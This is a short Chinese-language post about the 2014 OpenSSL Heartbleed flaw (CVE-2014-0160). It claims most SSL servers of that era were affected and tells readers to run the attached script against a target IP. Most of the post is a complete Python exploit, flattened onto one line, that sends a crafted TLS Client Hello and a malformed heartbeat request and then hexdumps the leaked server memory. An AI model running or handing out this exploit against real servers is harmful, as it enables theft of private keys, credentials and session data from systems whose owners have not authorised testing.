该漏洞出现与2014年。可以通过不断的内存越界访问来获得额外的信息。
只要目标服务器开启了ssl , 就可以(2014年以前基本都中招了)
运行下列python 文件即可。
python3 this_py_file.py <target ip>
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import binascii import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return binascii.unhexlify(x.replace(' ', '').replace('\n', '')) hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s: bytes): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print("") def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received, server likely not vulnerable') return False if typ == 24: print('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should - server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: print('Received alert:') hexdump(pay) print('Server returned error, likely not vulnerable') return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print('Sending Client Hello...') sys.stdout.flush() s.send(hello) print('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break print('Sending heartbeat request...') sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()